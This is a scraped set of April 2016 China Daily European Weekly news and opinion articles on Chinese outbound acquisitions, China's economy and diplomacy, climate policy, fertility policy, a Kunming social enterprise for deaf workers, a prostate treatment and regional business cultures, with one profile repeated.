Investors are bidding for PE companies' assets, but many are wary of paying too high a price

Chinese insurer Anbang's bid to buy Strategic Hotels & Resorts for $6.5 billion in March attracted widespread attention, but arguably more striking is the fact it came just months after private equity firm Blackstone Group had acquired the hotel chain for $6 billion.

The return sought by Blackstone in such a short turnaround time is significant, and also highlights a trend of Chinese investors buying overseas assets from private equity companies.

China's biggest overseas acquisition from a pe firm - China National Chemical Corp's purchase of German industrial machinery maker KraussMaffei Group for $1 billion in January - was made from Canadian PE company Onex Corp. Zha Chunming / Xinhua

Seven Chinese overseas acquisitions have already been made from PE companies this year, with deals totaling $5.70 billion, according to Dealogic. In contrast, there were just six in all of 2015, totaling $2.86 billion.

China's biggest overseas acquisition - China National Chemical Corp's purchase of German industrial machinery maker KraussMaffei Group for about $1 billion in January - was made from Canadian PE company Onex Corp. Kohlberg Kravis Roberts, a private equity firm in the United States, also recently sold a majority stake in French luxury brand SMCP to Shandong Ruyi Group in a deal worth 1.3 billion euros ($1.48 billion).

Analysts say a key factor behind the trend is the increasing willingness among PE firms to sell their portfolio companies through trade sales as an exit route due to current favorable merger and acquisitionsconditions. This makes it vital that Chinese firms employ the most professional advisers on outbound deals, to ensure fair terms.

"You're negotiating deals with PE firms that are more sophisticated and experienced sellers than the management team of target companies, so it pays for a Chinese firm to hire an experienced team," says Zhang Yi, a Hong Kong-based partner at law firm King & Wood Mallesons.

He says despite the apparent high profit margins involved when PE firms sell to Chinese companies, it is not possible to assess whether they have overpaid.

"One justification for the profit margin is that PE companies were able to buy these assets themselves. All assets are unique, and PE firms had to work hard to grab good-quality assets, so often strategic buyers need to pay more for assets in their portfolios," Zhang says, adding that PE firms' large network of contacts gives them more opportunities to access the best assets.

However, Chinese companies are not prepared to pay high amounts for targets when they feel prices are not justified. For example, a consortium led by Anbang abandoned a bid to buy Starwood Hotels & Resorts Worldwide in March after offering $14 billion.

The consortium, which also included private equity firms JC Flowers & Co and Primavera Capital Group, dropped out because the deal became too expensive, says Fred Hu, chairman of Primavera. "There wasn't any issue with funding," he adds.

Andre Loesekrug-Pietri, founder and managing partner of ACapital, a PE firm in Brussels, says one way for Chinese enterprises to lower the risk of overpaying for an outbound deal is to co-invest with a foreign company that understands China and has "expertise in managing a company in the US or in Europe".

"This is the best guarantee for Chinese investors - and their regulator if it is state-owned - that there is a local player taking a similar risk to them, with a strong alignment of interests," he says.

Despite the best attempts by Chinese companies, paying a premium to private equity firms may be unavoidable and, in some case, justified.

James Hsu, a partner at law firm Squire Patton Boggs in the US, says PE firms' portfolio companies are attractive to Chinese firms because they have standardized and professionally audited financial statements, which makes due diligence and value recognition much easier for Chinese buyers.
China to continue powering global recovery Updated: 2016-04-22 07:08 By Wan Xiangyu(China Daily Europe)

The country has lifted millions out of poverty and its trade has helped stabilize the world economy

Some countries are playing up the "China threat" theory because, contrary to many foreign observers' expectations, China's economy has grown with its status on the world stage.

China's economy grew 6.7 percent in the first quarter of this year, reflecting its resilience amid global economic troubles.

Moreover, its strong growth has had a positive impact on the global economy, proving that the world's economic stability is linked to China's sustainable development.

The nation's GDP reached 67.6 trillion yuan ($10.4 trillion; 9.2 trillion euros) last year, an increase of 6.9 percent year-on-year, with the International Monetary Fund estimating that its GDP may account for 15.5 percent of the global total.

Compared with the global average economic growth rate of 2.4 percent, China's annual average growth rate was 7.3 percent from 2011 to 2015, the fastest among the world's major and developing economies. And during the past five years, its economic growth contributed more than 25 percent to global economic growth, which made it the most important engine of the world economy, as well as the main driver of global economic recovery.

China's fast-paced economic growth has also contributed to global poverty alleviation. According to a United Nations report on millennium development goals, China lifted more than 70 percent of the world's poor population out of poverty between 1990 and 2015.

In real terms, it helped reduce the number of impoverished people worldwide to 836 million from 1.9 billion.

World Bank data show the number of Chinese people living in abject poverty declined from 770 million in 1978 to 55.75 million last year, an annual decrease of 2.2 percent, far higher than the global average.

Developing countries in Africa and other regions have also met with moderate success in alleviating poverty.

In addition, because of its close economic and trade links with the outside world, China has been the world's largest trading country in goods over the past three years; and it ranked second in terms of service trade.

In spite of the decline in its foreign trade volume owing to falling commodity prices and shrinking global trade, China's trade volume still exceeded 24 trillion yuan last year, 13 percent of the world's total, contributing 30 percent to global trade growth.

Chinese trade with other countries and the "made in China" label have helped strengthen economic globalization and stabilize the world economy. During the 13th Five-Year Plan (2016-20), China's outbound direct investment is expected to exceed $500 billion and imports are forecast to reach $10 trillion, meaning it will continue to power the world's economic recovery and stabilize global growth while helping reduce unemployment and poverty worldwide.

The rising status of the yuan in the global currency system means countries can use it as a foreign exchange reserve to prevent risks, and thus ensure global economic stability.

Besides, China's endeavors to build free trade zones with other countries, its Belt and Road Initiative and the establishment of the Asian Infrastructure Investment Bank, all symbolize China's accelerated efforts to strengthen globalization. And its voluntary actions as a responsible country will help expedite global economic recovery and promote the world's healthy economic development.

China's stable development indicates it will always seek peaceful development and help alleviate poverty and reduce unemployment worldwide.

The author is a researcher at the Chinese Academy of Social Sciences' Institute of Quantitative and Technical Economics. The views do not necessarily reflect those of China Daily.

(China Daily European Weekly 04/22/2016 page8)
China should seek AU observer status Updated: 2016-04-22 07:10 By Philip Etyang(China Daily Europe)

Relationship is a shared history of political, economic and moral support from Beijing to the continent

China has in the recent past demonstrated an unprecedented interest in working with the African Union, especially in maintaining peace and stability in the continent. Some of the measures include providing financial support to AU peacekeeping missions in Africa and to the AU Standby Force, as well as training peace and AU security officers and peacekeepers.

At the latest Forum on China Africa Cooperation Summit, held in South Africa in December, China vowed support to the Agenda 2063 roadmap set out by the AU, especially the 10-year implementation plan for Africa.

China also pledged support to the AU and other sub-regional organizations such as the Common Market for Eastern and the Southern Africa, or Comesa, and Southern African Development Community, or SADC, through capacity building and human resources development.

During the fifth FOCAC meeting in Beijing in 2012, the African Union was made an observer of the entire FOCAC process, a move which has since paved the way for stronger collaboration between the two. Last year's FOCAC saw China call on the AU to set up a representative office in Beijing soon.

Evidence of stronger and renewed ties between China and the AU after the latter acquired observer status to the FOCAC process are very much visible through state visits, development projects and funding. In 2014, during Premier Li Keqiang's visit to African states, he made a speech at an AU meeting where he advanced the 4-6-1 China-Africa cooperation framework.

The 4-6-1 framework put forward by Li involves four principles: respect for sovereignty, respect for core interests, seeking pragmatic cooperation, and achieving mutual benefits. The second part of the framework involves six projects, including financial cooperation, industrial cooperation, cultural exchanges, security and poverty reduction. The last part of the framework involves conducting all exchanges under one platform, which is FOCAC.

A year later, China signed a landmark agreement with the AU to connect all African capital cities by road, rail and air. The agreement to boost trade between African countries was referred to as "building of the three networks agreement". The same year, China set up a permanent mission to the AU in Addis Ababa, Ethiopia, and appointed Kuang Weilin, a former ambassador to Sierra Leone, as the head of the mission. Previously China only had a representative to the AU.

Tracing the Sino-African relationship, it is indeed time for China's leadership to take a political decision and seek observer status at the African Union. Such a move would cement China's relationship with Africa not only as a powerful economic partner, but also as political partner.

Though the 54 African countries have varying economic and political institutional realities, they at times, do have common interests, especially on foreign policy and climate issues. As an observer at the AU, China will be in a position to freely lobby for one African voice by requesting to have issues of particular interest included in the AU agenda.

A case in point is the Kyoto Protocol. African countries regard it as an important treaty that needs to be respected, and China would be in a position to use the AU plenary to lobby for a united stand.

Observers also have access to AU documents that deal with issues of interest to both parties and a special invitation to closed sessions dealing with such issues.

An observer status will consummate this dyadic relationship, placing China in a position to assist and strengthen the African Union and African regional bodies in promoting stability and sustainable development. Contrary to conventional perception, since the early days of its founding, China had emotional affinity toward Africa, not just a political or economic relationship. China's sense of empathy and common ground with Africa was a result of their shared historical experiences, both being victims of colonization who faced the same fight for national independence and liberation after World War II.

In the 1960s and '70s, China provided large amounts of foreign aid to newly independent African despite its own domestic economic difficulties at the time - one famous example being the building of the Tanzania-Zambia Railway.

It was in 1972 that China learned of Africa's political importance and value in the international arena: 26 countries voted for the People's Republic of China to resume its seat at the United Nations. African votes represented more than one-third of the countries that supported the resolution.

China since then has relied heavily on diplomatic support and cooperation from African countries in the international arena and multilateral forums for its political agenda and policy support. Currently, the 54 African states account for more than one-fourth of the United Nations member states and votes.

The author is a PhD student at Kenyatta University in Nairobi and a contributor to China Daily. The views do not necessarily reflect those of China Daily.

(China Daily European Weekly 04/22/2016 page13)
A new life answering call to help Updated: 2016-04-22 07:11 By Ren Qi and Li Yingqing(China Daily Europe)

Woman from Northern Ireland finds a family, a career and a purpose after landing in Kunming for a five-week course in Chinese

Ingrid Chen, 52, greets local residents in fluent Mandarin in the morning as she rides a bicycle to work in an alley near Yuchi Road in Kunming, the capital of Yunnan province.

Chen, who stands out thanks to her blond hair and height, had no intention when she first came to China to settle in this southern city, which sits at an altitude of 1,900 meters, giving it a pleasant, spring-like climate. But aside from the charms of Kunming and its people, she established a family in the city and also started a business to help local disabled people.

Ingrid Chen (in red) with Tina Redshaw (far right), the British consul-general in Chongqing, at the factory of Hearts & Hands in Kunming last year. Photos Provided to China Daily Ingrid Chen and her husband Gang Chen.

Chen, then Ingrid Simms, left her hometown of Belfast, Northern Ireland, in 1992 at age 28 to study Chinese at Yunnan Minzu University for five weeks. She became fascinated by Yunnan's wide range of ethnic and linguistic minorities. She returned to Kunming in 1993 and studied for three years at the university.

After graduation, she taught English at an international school for a year, then began working for Fu Hua Guoji (Bless China International), a nongovernmental organization with the mission of helping the poor and disabled in China that is registered in both China and the United States.

Chen had experience teaching the deaf in Northern Ireland, so she learned Chinese Sign Language in Kunming. "I hoped to help them, and by learning Chinese Sign Language I was able to offer more help," she tells China Daily.

Chen worked in a program that teaches sign language, crafts and sewing skills to people over 16 with no educational opportunities from rural areas around Kunming.

"Usually the deaf students studied in the training class for three months," she says. "We could not help them to thoroughly remove communication obstacles with three months of training, but we did help them communicate with sign language, as well as regain confidence by making new friends."

In 2002, Chen and some partners from the NGO established their own company, Hearts & Hands, to sell products created in the traditional style of Yunnan ethnic cultures. They include handmade bags, toys and decorative items made by the deaf and are sold overseas.

There are 72 million deaf people in China, and many of them struggle to find an education and a job, according to the company website, heartsandhandschina.com.

The idea for the company came in 2000, first as a training class in patchwork and quilting for young deaf students, then as a small handcraft business employing young deaf people, according to the website, which displays products made by the workers - who number more than 40 - and tells some of their stories.

"We have been surprised that the products made by these disabled people have been welcomed so warmly by customers," Chen says. "We just wanted to start a business to help provide job opportunities for them."

The company is on the fourth and fifth floors of an old building that also houses the NGO. It is less than 100 meters from Yunnan Huaxia Specialized Secondary School, the only secondary school in southwestern China that offers classes for disabled students.

Some students work at the company as interns. While there currently is no formal connection between the school and company, they hope to build ties that could make it easier for students to find jobs there. Some of the company's workers also have gone on to other jobs.

Chen says she picks the traditional styles of Yunnan's 25 officially recognized ethnic groups that she thinks will sell well, in some cases combining them with Western designs. "I myself am a laowai (foreigner), so maybe I'm able to understand what kinds of minority products are more welcome in foreign markets," she says.

Still, Chen says the company has had its share of difficulties, especially because when they first started they had little experience in marketing and company management. At times, being a foreigner has made navigating local regulations tougher, though her husband, Gang Chen, who is from Lanzhou, in Northwest China's Gansu province, gives her a hand. They met at the NGO and married in 2003.

The website says that while customers can't buy directly online, they should email the company about making a purchase.

A currency devaluation in one of their most important markets, Australia, also has hurt. They also sell to Britain and the United States.

"The company had a deficit of $20,000 in 2015 due to currency devaluation," on annual sales of $70,000, she says.

Gang Chen devotes time to the company, but along with five deaf workers he also makes closets and bookshelves for the Chinese market.

The couple have never taken salaries for their work, Ingrid Chen says, adding that she has never regretted starting the company.

"The daily expenses of the family are mostly from my husband's (woodworking) pay and help from my relatives from the UK," she says. "All my family members and friends have given me great support, both emotionally and financially, for what I have done here in China."

Her contributions in helping disabled people in China garnered Ingrid Chen the Caiyun Award, given to foreigners who make significant contributions to Yunnan by the provincial government.

Wang Sumei, a manager who has worked at Hearts & Hands for eight years, calls Ingrid Chen a kind person who cares a lot about deaf people.

"In the aspect of work, she is a brilliant leader with a full sense of responsibility," Wang says.

Ingrid Chen says Kunming is now home. The couple have two children, a 12-year-old son and a 10-year-old daughter.

"The kids are enjoying living here," she says. "We go back to Britain occasionally, and the kids think the UK is fun as well. Although they were not born in Kunming, they did grow up here, and they treat Kunming as their home.

"I don't think we will leave China and go back to the UK, at least not in the foreseeable future, given that my husband works in China and my kids go to school here. Kunming is good. I feel free to live my life here."

Shi Wenzhi contributed to this story.

Contact the writers through renqi@chinadaily.com.cn

( China Daily European Weekly 04/22/2016 page21)
New way to take the pressure off Updated: 2016-04-22 07:11 By Zhao Xu(China Daily Europe)

Innovation in the treatment of benign enlargement of prostate may benefit men in China's countryside and across the globe

It has been more than a decade, but Jiang Hansheng still remembers the look on the face of "a Beijing expert" when he explained a method he had experimented with for years to treat benign prostatic hyperplasia, or an enlarged prostate gland, a condition that occurs frequently among men aged 60 and older.

"The expert simply smiled and shook his head, and my heart sank," Jiang, a retired urologist from Shandong province, recalls.

The dismissal represented nothing new or surprising for the doctor. Since the early 1990s, he had spent 10 years researching and performing a procedure called balloon dilation of the prostrate. He had also expended a lot of time and effort attempting to convince his peers and superiors that the method was an effective treatment for benign prostatic hyperplasia.

The condition is not life threatening and is rarely painful, but it can cause a range of problems, including the need to urinate frequently and involuntary urination.

"The urethra is partially surrounded by the prostate grand, which in turn is encased in a hard capsule of membrane," says Tian Long, an urologist at Beijing's Chaoyang Hospital. "With the total volume inside the capsule remaining unchanged, an enlarged prostate means a narrower space for the urethra, which in turn gives rise to many urinary symptoms concerning storage and voiding."

Tian is one of six patent-holders of a surgical procedure called transurethral columnar balloon dilation of the prostate, known among doctors as TDUP. The procedure, which usually takes about five minutes, involves inserting a long, column-shaped balloon into the section of the urethra enveloped by the prostate and then inflating it. Ideally, the dilated urethra exerts pressure on the capsule around the prostate, causing it to break in minutes.

"Once broken, the capsule can never grow back together, and therefore all the inner pressure is released once and for all. This means the urethra will feel no pressure, however large the prostate becomes in the future," Tian explains.

"The short procedure time has sharply reduced the risk of cardio-cerebrovascular diseases, such as thrombosis and fatal pulmonary embolism (blood clots in the lungs), which has a high rate of occurrence among senior patients," he says, comparing the procedure with electrotomy, the use of high-frequency electric current to cut or destroy tissue, and laser surgery, the predominant methods of treating BPH. "Both methods take about an hour to complete and involve the removal of all or some of the prostate."

Although the procedure sounds quick and easy to perform, gaining wider acceptance among the medical community has not been easy for Jiang, or those who believe his method has a future.

"The idea of prostate dilation was not my invention," he says. "It was first introduced to China from the West in the 1980s. Back then, the balloon was shaped like a ball, not a column.

"Many urologists in China, including myself, performed the procedure, but the results were far from satisfactory, and the procedure was completely abandoned after just one or two years."

It was forgotten by everyone except Jiang, who trusted his medical instincts and began a decade of experimentation with the procedure.

In the 1990s, Jing Xuejun, who worked with a medical equipment manufacturer that was owned by the government at the time, not only witnessed Jiang's endeavor, but also got involved.

"Jiang came to us and asked whether we could make the balloons he needed," Jing recalls. "Over the next few years, we created a bewildering array, all sizes and shapes, for him to try."

The balloons produced mixed results, but Jiang was unable to pinpoint the exact reasons behind success and failure. His inability to provide plausible explanations meant he and his method were rejected, and sometimes even ridiculed.

While some traces of the ridicule still linger, at least there is an explanation now, according to Guo Yinglu, honorary chair of Peking University's Institute of Urology.

"Long-term results depend on whether dilation of the urethra causes the capsule of the prostate to break or not. If yes, then in most cases, success is guaranteed; if no, then it's inevitably a failure," the 86-year-old says. "Why? Because if the capsule is not ruptured, even if the urethra is dilated by the entry of the balloon, it will be squeezed back to its original state by the surrounding prostate tissue once the balloon is removed."

For the past decade, Guo has headed a research team, including Tian, which has focused on TUDP. After patenting the procedure nationally in 2012, the team is now gathering more clinical evidence and promoting the procedure among doctors across China, from national to county level.

Reflecting on the experience of Jiang, who had knocked on many doors before meeting him about 12 years ago, Guo believes the biggest obstacle for any innovative Chinese doctor - low-level doctors especially - lies in conventional thinking.

"We're so used to retracing the footsteps of our Western counterparts that any digression from their trodden path risks being dismissed as unworthy of serious investigation," he says.

According to Tian, electrotomy and laser surgery have long been championed as the global "gold standard" for BPH treatment. "Traditionally, the capsule of the prostate is a no-go zone. People worry that insertion of the balloon will exert pressure on the sphincter, the ring of muscles that sits right below the prostatic apex (the base of the prostate), whose proper function is essential to the control of urination," he says. "Any potential damage of the muscle may lead to urinary incontinence, or involuntary urination.

"But in practice, this (damage) has very rarely happened, and that may be because the balloon is quickly moved further into the urethra to relieve the pressure on the sphincter. It's a matter of just a minute."

And the procedure is significant not only because it offers an entirely new concept of the enlarged prostate treatment, but also because the treatment is tailor-made for people who live far from big cities and are not financially well-off.

"Back in the 1990s and early 2000s, many rural patients opted for my method simply because they didn't have any other choice," Jiang says. "Electrotomy and laser surgery didn't appear in China's county-level hospitals until the early 2000s."

Worldwide, 60 percent of all men aged 60 and older suffer from an enlarged prostate gland. For men aged 70 and older, the figure rises to 70 percent; and for men aged 80-plus, it is 80 percent.

Around 2004, Guo attended a medical conference in Qingdao, Shandong province. "I asked a participating doctor what he thought of Jiang's cause, and the answer was, 'Don't waste time on him. He's a madman.'"

Jiang, who retired in 2011, appreciates the work undertaken by Guo and his staff, and the support they have shown.

"They have made sure my life's work isn't wasted and have proved that, in the end, I'm not completely mad."

zhaoxu@chinadaily.com.cn
A new life answering call to help Updated: 2016-04-22 07:11 By Ren Qi and Li Yingqing(China Daily Europe)



Ingrid Chen (in red) with Tina Redshaw (far right), the British consul-general in Chongqing, at the factory of Hearts & Hands in Kunming last year. Photos Provided to China Daily

Ingrid Chen, 52, greets local residents in fluent Mandarin in the morning as she rides a bicycle to work in an alley near Yuchi Road in Kunming, the capital of Yunnan province.

Chen, who stands out thanks to her blond hair and height, had no intention when she first came to China to settle in this southern city, which sits at an altitude of 1,900 meters, giving it a pleasant, spring-like climate. But aside from the charms of Kunming and its people, she established a family in the city and also started a business to help local disabled people.

Chen, then Ingrid Simms, left her hometown of Belfast, Northern Ireland, in 1992 at age 28 to study Chinese at Yunnan Minzu University for five weeks. She became fascinated by Yunnan's wide range of ethnic and linguistic minorities. She returned to Kunming in 1993 and studied for three years at the university.

After graduation, she taught English at an international school for a year, then began working for Fu Hua Guoji (Bless China International), a nongovernmental organization with the mission of helping the poor and disabled in China that is registered in both China and the United States.

Chen had experience teaching the deaf in Northern Ireland, so she learned Chinese Sign Language in Kunming. "I hoped to help them, and by learning Chinese Sign Language I was able to offer more help," she tells China Daily.

Chen worked in a program that teaches sign language, crafts and sewing skills to people over 16 with no educational opportunities from rural areas around Kunming.

"Usually the deaf students studied in the training class for three months," she says. "We could not help them to thoroughly remove communication obstacles with three months of training, but we did help them communicate with sign language, as well as regain confidence by making new friends."

In 2002, Chen and some partners from the NGO established their own company, Hearts & Hands, to sell products created in the traditional style of Yunnan ethnic cultures. They include handmade bags, toys and decorative items made by the deaf and are sold overseas.

There are 72 million deaf people in China, and many of them struggle to find an education and a job, according to the company website, heartsandhandschina.com.

The idea for the company came in 2000, first as a training class in patchwork and quilting for young deaf students, then as a small handcraft business employing young deaf people, according to the website, which displays products made by the workers - who number more than 40 - and tells some of their stories.

"We have been surprised that the products made by these disabled people have been welcomed so warmly by customers," Chen says. "We just wanted to start a business to help provide job opportunities for them."

The company is on the fourth and fifth floors of an old building that also houses the NGO. It is less than 100 meters from Yunnan Huaxia Specialized Secondary School, the only secondary school in southwestern China that offers classes for disabled students.

Some students work at the company as interns. While there currently is no formal connection between the school and company, they hope to build ties that could make it easier for students to find jobs there. Some of the company's workers also have gone on to other jobs.

Chen says she picks the traditional styles of Yunnan's 25 officially recognized ethnic groups that she thinks will sell well, in some cases combining them with Western designs. "I myself am a laowai (foreigner), so maybe I'm able to understand what kinds of minority products are more welcome in foreign markets," she says.

Still, Chen says the company has had its share of difficulties, especially because when they first started they had little experience in marketing and company management. At times, being a foreigner has made navigating local regulations tougher, though her husband, Gang Chen, who is from Lanzhou, in Northwest China's Gansu province, gives her a hand. They met at the NGO and married in 2003.

The website says that while customers can't buy directly online, they should email the company about making a purchase.

A currency devaluation in one of their most important markets, Australia, also has hurt. They also sell to Britain and the United States.

"The company had a deficit of $20,000 in 2015 due to currency devaluation," on annual sales of $70,000, she says.

Gang Chen devotes time to the company, but along with five deaf workers he also makes closets and bookshelves for the Chinese market.

The couple have never taken salaries for their work, Ingrid Chen says, adding that she has never regretted starting the company.

"The daily expenses of the family are mostly from my husband's (woodworking) pay and help from my relatives from the UK," she says. "All my family members and friends have given me great support, both emotionally and financially, for what I have done here in China."

Her contributions in helping disabled people in China garnered Ingrid Chen the Caiyun Award, given to foreigners who make significant contributions to Yunnan by the provincial government.

Wang Sumei, a manager who has worked at Hearts & Hands for eight years, calls Ingrid Chen a kind person who cares a lot about deaf people.

"In the aspect of work, she is a brilliant leader with a full sense of responsibility," Wang says.

Ingrid Chen says Kunming is now home. The couple have two children, a 12-year-old son and a 10-year-old daughter.

"The kids are enjoying living here," she says. "We go back to Britain occasionally, and the kids think the UK is fun as well. Although they were not born in Kunming, they did grow up here, and they treat Kunming as their home.

"I don't think we will leave China and go back to the UK, at least not in the foreseeable future, given that my husband works in China and my kids go to school here. Kunming is good. I feel free to live my life here."

Shi Wenzhi contributed to this story.

Contact the writers through renqi@chinadaily.com.cn


First quarter data reflects economy's strength Updated: 2016-04-22 08:03 By Mei Xinyu(China Daily)

A residents shows China's yuan and US dollar banknotes in Qionghai, South China's Hainan province, Jan 7, 2016. [Photo/Xinhua]

The first quarter macroeconomic data the National Bureau of Statistics has released suggest a promising year ahead for China. Given the complicated economic situations at home and abroad, it is encouraging to see the Chinese economy avoiding a severe downturnas feared by some observersreducing the risk factors, starting to stabilize, and showing initial industrial advantages in the fiercely competitive international market.

Despite being the lowest since 2009, China's 6.7 percent GDP growth in the first quarter of 2016 is still very healthy, especially if seen in the light of the "China collapse" rumors that were doing the rounds a few months ago. The 6.7 percent growth is not only within the 6.5 to 7 percent growth expectation of the central government, but also among the fastest in major economies.

Judging from the macroeconomic data, the risk factors posing the greatest threat to China's economy have been reduced. The remarkable achievement in real estate destocking will give those who worried the housing market would collapse and repeat the scenario in Japan enough reasons to breathe a sigh of relief.

In the previous two years, China's housing market did suffer a lingering slump, with commercial housing sales nationwide declining by 7.6 percent in 2014 and that in the first two months of 2015 falling by a whopping 16.9 percent. Home sales stabilized only in June last year.
China again takes lead with climate pact Updated: 2016-04-22 07:10 By Fu Jing(China Daily Europe)

Other players should mobilize even greater efforts in delivering on their promises

Bringing global stakeholders together at a negotiation table to discuss how to cope with climate change is similar to a pilgrimage.

In addition to rounds of talks on technical details involving United Nations members every year, milestone pacts have been agreed in New York, Rio de Janeiro, Kyoto, Durban, Bali, Copenhagen and Paris, among other places, since the 1990s, with global leaders showing their political will.

April 22 will see another step taken in this hard exercise when politicians attend a UN ceremony for the signing of the Paris Climate Change Agreement in New York. The deal aims to keep the temperature rise below an average of 2 C, as agreed by global negotiators late last year.

President Xi Jinping will send his envoy, Vice-Premier Zhang Gaoli, to the event. Zhang spoke at the UN climate summit in New York in September 2014, when the international community was looking to reach a binding deal.

Zhang's appearance at these major events is a signal of Beijing's readiness to become a responsible leader in helping to set the rules of global governance, ironing out the differences between global stakeholders and finding synergies, as well as delivering the commitments it has made.

Since the Copenhagen climate summit in 2009, the international media organizations have often questioned China's conviction in dealing with climate change. They have also argued that developed economies are falling short in transferring financial means and technologies to help poor countries achieve sustainable development, as well as having emitted greenhouse gases irresponsibly during their industrialization.

China, as a developing nation, has shown its consistent seriousness in joining global climate efforts. In 1992, Li Peng, the premier at the time, signed the UN Framework Convention on Climate Change in Rio de Janeiro, while another former premier, Wen Jiabao, pushed global talks in Copenhagen in 2009.

Since Xi took office as president in 2013, the country has become even more active in solving global challenges by offering win-win and cooperative solutions.

On the climate front, China has invested ample political capital. In addition to bilateral commitments with the European Union, France, the United Kingdom and India, it is worth noting that Xi and US President Barack Obama have made three climate change declarations in the past three years, a phenomenal gesture that the two biggest economies are on the same page on this critical challenge.

Such efforts between China and the United States and other global players have helped pave the way to the Paris Climate Change Agreement, scheduled to take effect in 2020.

On April 22, China and the US will once again take the lead by signing this agreement, which will come into force after the 55 countries that account for at least 55 percent of global emissions have deposited their instruments of ratification.

Thanks to the efforts of China and the US, the UN says the process of signatures and ratification will become faster and that it is likely that the agreement will become effective in 2018, two years ahead of schedule.

However, this is easier said than done. For global players, it is a challenge to turn words into action.

Again, China has set an example with urgent domestic communication and policy shifts in recent years, complementing its global pro-active stance.

A typical example is the central government putting green development high on its overarching agenda for the coming years. China has also made a historic commitment to realize a peak in carbon emissions around 2030.

Surely, other players should mobilize even greater efforts in delivering on their promises. For example, the rich countries decided in Paris that they would work to define a clear roadmap on ratcheting up climate finance to $100 billion by 2020.

Frankly, they have basically eaten their words since Copenhagen, and there is a risk rich countries will face a "lost decade" in transferring their climate aid to poor countries.

When global leaders meet again in New York on Earth Day, this is something to confess.

The author is deputy editor of China Daily European Edition.



Contact the writer at fujing@chinadaily.com.cn
Second child about couples' aspirations Updated: 2016-04-22 07:10 By Stuart Basten(China Daily Europe)





A rather remarkable turnaround has occurred in China. For a country famous for having the most comprehensive set of policies designed to limit births, it is now introducing policies to support parents who have a second child - from tax relief to possibly extending maternity leave and free education.

For some time now, studies have observed family planning officials in large cities actively encouraging couples to take advantage of their rights to have a second child. In this way, local governments could become more proactive in designing policies to support couples to have a second child.

Governments across the Asia-Pacific region have been introducing increasingly far-reaching policies in recent years to support and encourage childbearing, to stem rapidly aging populations resulting from low fertility rates. Perhaps the most expansive and famous is Singapore. Elsewhere, policies to support childbearing, financially and in terms of childcare and parental leave, have been introduced in Japan and South Korea.

Yet in each of these settings, fertility has stayed resolutely low; not least in Singapore, which has one of the lowest fertility rates in the world. This is because the financial subsidies simply do not come close to offsetting the high costs of childbearing in these countries.

Costs are further exaggerated by expectations of huge investment in education and other activities, sometimes called education fever. These policies are also not able to adequately address some of the more fundamental reasons for limiting family sizes, such as fragile employment and the "triple burden" placed on women to work and take primary responsibility for both children and elderly parents.

There is now a broad agreement that it is not just the one-child policy that has pushed - and kept - fertility down in China. As such, just changing the policy is likely to have only a limited impact.

Assuming that many of the other reasons for low fertility are common to both China and elsewhere in Asia, and given the limited success in other countries and regions in turning birth rates around, we may question how effective policies to support childbearing will be at increasing the Chinese fertility rate.

This, I think, misses the point. If the new policies were set out to encourage childbearing and achieve certain key population goals, then they may well not succeed. But the language of the new policy does not appear to suggest this. In a break from the "old" way of talking about family planning, the "new" language is much more about "supporting" than "encouraging".

This is not just semantics. If the new policies are designed to support citizens to be able to meet their aspirations in terms of family, work and life, then their success should be judged on this rather than the birth rate in years to come.

Switching from the world's most restrictive family planning system to offering incentives for childbirth is a remarkable turnaround. But it may well be that the truly revolutionary aspect of this policy change is the switch from "shaping" citizens' actions to meet the needs of the nation toward "supporting and enabling" them to meet their own personal aspirations.

The author is an associate professor of social policy with the University of Oxford's Department of Social Policy and Intervention. The views do not neccessarily reflect those of China Daily.


A tale of how neighboring cities differ Updated: 2016-04-22 07:10 By Mike Bastin(China Daily Europe)

Business cultures vary greatly even within a province, and foreign investors need to be clued in if they are to succeed

As China's economic transition continues, foreign investors need to take a much more considered, long-term perspective.

Investors also now need to pay more attention to minute, often subtle, differences in China's local business environments and business cultures.

Incremental commercial gains now pave the way forward for foreign investors across the Chinese mainland, where breakneck growth appears a thing of the past.

However, establishing progress with these small gains requires an almost encyclopedic understanding of each Chinese city culture and the subtle differences with other apparently similar, often nearby city cultures.

In particular, it remains apparent to me that many outside investors, even those with many years of business experience across large parts of China, are not as tuned in as they need to be.

As I complete a whirlwind, whistle-stop guest lecture tour covering most parts of China, I find myself well-placed to comment on the need for investors to sharpen their knowledge and know-how when evaluating business opportunities in many commercially attractive cities.

My lecture tour was organized by Southampton University, where I have recently been appointed course leader of the master's degree in fashion marketing and branding.

The trip began in one of the northernmost cities, Harbin, capital of Heilongjiang province. Famous for its ice festival and Russian cultural influence, this city represents familiar territory for many investors who feel comfortable with all aspects of doing business. But this is partly because it has become far more international, multicultural and cosmopolitan and not because of any major progress in understanding local business practices. This becomes clear when discussing differences in business culture between Harbin's major regional city rival: Shenyang, capital of neighboring Liaoning province.

Business contacts maintain that Shenyang has not been subjected to the same influx of different cultures and, therefore, doing business in this commercially attractive city requires a far more localized approach. Business negotiations will almost certainly not take place at an international, five-star hotel chain but rather in a far more discrete and inconspicuous local hotel or restaurant.

Investors should not assume that geographical proximity automatically means cultural homogeneity. This oversight is common in Northeast China, where a strong regional sub-culture exists.

My next stop was eastern China's coastal city of Qingdao in Shandong province. Famous for international beer and household appliance brands (Haier and Hisense), this city's business culture should also not be mistaken as representative of any wider regional or even provincial business culture homogeneity.

In fact, Shandong natives from outside Qingdao are united in perhaps one thing: their dislike of what they consider to be an arrogant, aristocratic Qingdao subculture. Jinan, capital of Shandong, perhaps provides another good example of a quite different business culture between two nearby cities.

In much the same way as Harbin enjoys some level of international recognition and with an internationally diverse population, Qingdao can also lay claim to be Shandong's major international city. Doing business, therefore, in Qingdao comes fairly comfortable to most investors. Jinan, on the other hand, despite being close by and part of the very same province, requires a far more localized approach, not too dissimilar to Shenyang in Northeast China.

I then fly to Nanjing, one of China's former capital cities, and then travel to the nearby city of Wuxi. Once again, these two urban neighbors require different approaches where business deals and negotiations are concerned.

Investors should not assume that Wuxi is as international and modern as its far more cosmopolitan neighbor.

Heading further south I find myself in Southeast China's beautiful coastal city of Xiamen, part of Fujian province. Breathtaking beaches and the delightful holiday, car-free island of Gulangyu immediately catch the eye and have contributed much to the international fame this city now rightfully enjoys. Foreign business dealings, therefore, proceed generally without great difficulty in this city. But the commercially attractive local rival and provincial capital Fuzhou offers a far less modern business environment, where appreciation of local lifestyles is essential if business success is to follow.

I then fly off to Chengdu, capital of southwestern Sichuan province, home of spicy food epitomized best by hotpot.

